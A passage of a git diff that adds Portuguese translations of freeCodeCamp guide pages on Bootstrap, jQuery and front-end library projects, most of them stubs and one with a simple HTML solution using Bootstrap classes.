+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-bootstrap-row/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md
new file mode 100644
index 0000000000..f9c3d3f6cd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-class-to-target-with-jquery-selectors/index.md
@@ -0,0 +1,39 @@
+---
+title: Create a Class to Target with jQuery Selectors
+localeTitle: Criar uma classe para destino com seletores jQuery
+---
+## Criar uma classe para destino com seletores jQuery
+
+O último desafio foi você adicionar algumas classes aos seus elementos `html <button></button>` para estilizá-las, desta vez você é obrigado a adicionar outras classes aos botões que permitiriam que o jQuery os direcionasse.
+
+### Sugestão
+
+Edite as classes
+
+### Solução
+
+Como você precisa adicionar a classe de `target` , o seguinte é a solução:
+
+```html
+
+<div class="container-fluid"> 
+  <h3 class="text-primary text-center">jQuery Playground</h3> 
+  <div class="row"> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+    <div class="col-xs-6"> 
+      <div class="well"> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+        <button class="btn btn-default target"></button> 
+      </div> 
+    </div> 
+  </div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md
new file mode 100644
index 0000000000..e3f343f96e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Custom Heading
+localeTitle: Criar um título personalizado
+---
+## Criar um título personalizado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-a-custom-heading/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md
new file mode 100644
index 0000000000..30f892340a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Bootstrap Wells
+localeTitle: Criar poços de bootstrap
+---
+## Criar poços de bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/create-bootstrap-wells/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md
new file mode 100644
index 0000000000..7e0161b88c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Ditch Custom CSS for Bootstrap
+localeTitle: Ditch CSS personalizado para Bootstrap
+---
+## Ditch CSS personalizado para Bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/ditch-custom-css-for-bootstrap/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md
new file mode 100644
index 0000000000..2abc9c1dcd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md
@@ -0,0 +1,9 @@
+---
+title: Give Each Element a Unique id
+localeTitle: Dê a cada elemento um id único
+---
+## Dê a cada elemento um id único
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/give-each-element-a-unique-id/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md
new file mode 100644
index 0000000000..821d8d0f9b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md
@@ -0,0 +1,9 @@
+---
+title: House our page within a Bootstrap container-fluid div
+localeTitle: Abrigue nossa página dentro de um div de container-fluido de Bootstrap
+---
+## Abrigue nossa página dentro de um div de container-fluido de Bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/house-our-page-within-a-bootstrap-container-fluid-div/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/index.md
new file mode 100644
index 0000000000..056217149e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/index.md
@@ -0,0 +1,22 @@
+---
+title: Bootstrap
+localeTitle: Bootstrap
+---
+## Bootstrap
+
+[O Bootstrap](https://www.getbootstrap.com/) é uma biblioteca front-end que fornece uma estrutura ou layout básico que um usuário pode usar diretamente ou modificar e, em seguida, implantar. Seu foco principal é criar uma estrutura compatível com dispositivos móveis, mas o Bootstrap também funciona com dispositivos de desktop.
+
+Citado no site da Bootstrap:
+```
+Bootstrap is an open source toolkit for developing with HTML, CSS, and JS. Quickly prototype your ideas or build your entire app with our Sass variables and mixins, responsive grid system, extensive prebuilt components, and powerful plugins built on jQuery. 
+```
+
+O framework encontra empregabilidade em muitos projetos de front-end e é reconhecido como o framework HTML e CSS mais famoso.
+
+#### Mais Informações:
+
+1.  [Documentação de Bootstrap](https://getbootstrap.com/docs/4.1/getting-started/introduction/)
+2.  [Use o Bootstrap](https://getbootstrap.com/docs/4.1/getting-started/download/)
+3.  [Temas Bootstrap](https://themes.getbootstrap.com/)
+4.  [Blog de bootstrap](https://blog.getbootstrap.com/)
+5.  [Página de código aberto do Bootstrap](https://github.com/twbs/bootstrap)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md
new file mode 100644
index 0000000000..4309717153
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Label Bootstrap Buttons
+localeTitle: Botões de bootstrap de etiqueta
+---
+## Botões de bootstrap de etiqueta
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/label-bootstrap-buttons/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md
new file mode 100644
index 0000000000..19b44e4524
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md
@@ -0,0 +1,9 @@
+---
+title: Label Bootstrap Wells
+localeTitle: Rótulo Bootstrap Wells
+---
+## Rótulo Bootstrap Wells
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/label-bootstrap-wells/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md
new file mode 100644
index 0000000000..6124887260
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md
@@ -0,0 +1,9 @@
+---
+title: Line up Form Elements Responsively with Bootstrap
+localeTitle: Alinhe os elementos do formulário de forma responsável com o Bootstrap
+---
+## Alinhe os elementos do formulário de forma responsável com o Bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/line-up-form-elements-responsively-with-bootstrap/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md
new file mode 100644
index 0000000000..6e6ea9b374
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md
@@ -0,0 +1,9 @@
+---
+title: Make Images Mobile Responsive
+localeTitle: Tornar as imagens móveis responsivas
+---
+## Tornar as imagens móveis responsivas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/make-images-mobile-responsive/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md
new file mode 100644
index 0000000000..c82bcc6c74
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md
@@ -0,0 +1,9 @@
+---
+title: Responsively Style Checkboxes
+localeTitle: Caixas de Seleção de Estilo Responsivamente
+---
+## Caixas de Seleção de Estilo Responsivamente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/responsively-style-checkboxes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md
new file mode 100644
index 0000000000..9c24616222
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md
@@ -0,0 +1,9 @@
+---
+title: Responsively Style Radio Buttons
+localeTitle: Botões de rádio de estilo responsivo
+---
+## Botões de rádio de estilo responsivo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/responsively-style-radio-buttons/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md
new file mode 100644
index 0000000000..07e841ad1e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md
@@ -0,0 +1,9 @@
+---
+title: Split Your Bootstrap Row
+localeTitle: Dividir sua linha de bootstrap
+---
+## Dividir sua linha de bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/split-your-bootstrap-row/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md
new file mode 100644
index 0000000000..d487628c15
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md
@@ -0,0 +1,9 @@
+---
+title: Style Text Inputs as Form Controls
+localeTitle: Entradas de texto de estilo como controles de formulário
+---
+## Entradas de texto de estilo como controles de formulário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/style-text-inputs-as-form-controls/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md
new file mode 100644
index 0000000000..af4030b1e9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md
@@ -0,0 +1,9 @@
+---
+title: Taste the Bootstrap Button Color Rainbow
+localeTitle: Prove o Botão Bootstrap Color Rainbow
+---
+## Prove o Botão Bootstrap Color Rainbow
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md
new file mode 100644
index 0000000000..88d0376e66
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a span to Target Inline Elements
+localeTitle: Use um intervalo para segmentar elementos in-line
+---
+## Use um intervalo para segmentar elementos in-line
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md
new file mode 100644
index 0000000000..561ebfb770
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Comments to Clarify Code
+localeTitle: Use comentários para esclarecer o código
+---
+## Use comentários para esclarecer o código
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md
new file mode 100644
index 0000000000..8f2e114333
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Responsive Design with Bootstrap Fluid Containers
+localeTitle: Use Design Responsivo com Recipientes de Fluido Bootstrap
+---
+## Use Design Responsivo com Recipientes de Fluido Bootstrap
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md
new file mode 100644
index 0000000000..70c851662e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Bootstrap Grid to Put Elements Side By Side
+localeTitle: Use o Bootstrap Grid para colocar elementos lado a lado
+---
+## Use o Bootstrap Grid para colocar elementos lado a lado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md
new file mode 100644
index 0000000000..d974c242d5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md
@@ -0,0 +1,9 @@
+---
+title: Warn Your Users of a Dangerous Action with btn-danger
+localeTitle: Avise seus usuários de uma ação perigosa com perigo-btn
+---
+## Avise seus usuários de uma ação perigosa com perigo-btn
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md
new file mode 100644
index 0000000000..24479092b0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Drum Machine
+localeTitle: Construa uma máquina de ritmos
+---
+## Construa uma máquina de ritmos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md
new file mode 100644
index 0000000000..ee0bf3084a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a JavaScript Calculator
+localeTitle: Construa uma calculadora JavaScript
+---
+## Construa uma calculadora JavaScript
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md
new file mode 100644
index 0000000000..d8b83f263f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Markdown Previewer
+localeTitle: Criar um visualizador de markdown
+---
+## Criar um visualizador de markdown
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md
new file mode 100644
index 0000000000..97226df91c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Pomodoro Clock
+localeTitle: Construa um relógio Pomodoro
+---
+## Construa um relógio Pomodoro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md
new file mode 100644
index 0000000000..f1aaa54ab8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md
@@ -0,0 +1,11 @@
+---
+title: Build a Random Quote Machine
+localeTitle: Construa uma máquina de cotação aleatória
+---
+## Construa uma máquina de cotação aleatória
+
+O projeto consiste em três partes distintas:
+
+1.  Identificando os componentes necessários para completar a tarefa, quais componentes existem? Alguns componentes podem ser usados ​​mais de uma vez? Por exemplo, os botões são os mesmos apenas com diferentes eventos onClick?
+2.  Qual componente deve ser responsável por manter o estado e como as mudanças no estado devem ser repassadas para outros componentes?
+3.  Como uma nova citação deve ser buscada? Onde a nova citação e o autor devem ser armazenados?
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/index.md
new file mode 100644
index 0000000000..c94a9fdd9e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/front-end-libraries-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Front  End Libraries Projects
+localeTitle: Projetos de bibliotecas front-end
+---
+## Projetos de bibliotecas front-end
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/index.md
new file mode 100644
index 0000000000..f06d214187
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/index.md
@@ -0,0 +1,17 @@
+---
+title: Front End Libraries
+localeTitle: Bibliotecas de front-end
+---
+## Bibliotecas de front-end
+
+Uma biblioteca de front-end é um arquivo ou um código pré-escrito que é útil para o usuário, reduzindo o tempo consumido.
+
+Essas bibliotecas de código ajudam seus usuários a minimizar seu tempo escrevendo longas linhas de código e aumentando sua produtividade. Por exemplo: bibliotecas front-end como o [Bootstrap](https://getbootstrap.com/) fornecem uma estrutura para os usuários construírem e reduzem o tempo consumido, enquanto permitem flexibilidade ao usuário.
+
+As bibliotecas podem ser opiniosas ou não opionadas, ou seja, deixar algumas opções para o usuário e não deixar nenhuma escolha para o usuário, respectivamente.
+
+Como são bibliotecas front-end, elas trabalham com HTML, CSS e JavaScript e modificam o layout, o estilo e o comportamento da página em um navegador, respectivamente.
+
+#### Mais Informações:
+
+1.  [Algumas boas bibliotecas front-end](https://medium.com/learnwithrahul/introduction-to-some-kick-ass-front-end-libraries-tools-963f55152f4b)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..c03ca9f233
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Text Inside an Element Using jQuery
+localeTitle: Alterar texto dentro de um elemento usando jQuery
+---
+## Alterar texto dentro de um elemento usando jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..e037275139
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the CSS of an Element Using jQuery
+localeTitle: Alterar o CSS de um elemento usando jQuery
+---
+## Alterar o CSS de um elemento usando jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..8558ec0a85
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Clone an Element Using jQuery
+localeTitle: Clone um elemento usando jQuery
+---
+## Clone um elemento usando jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md
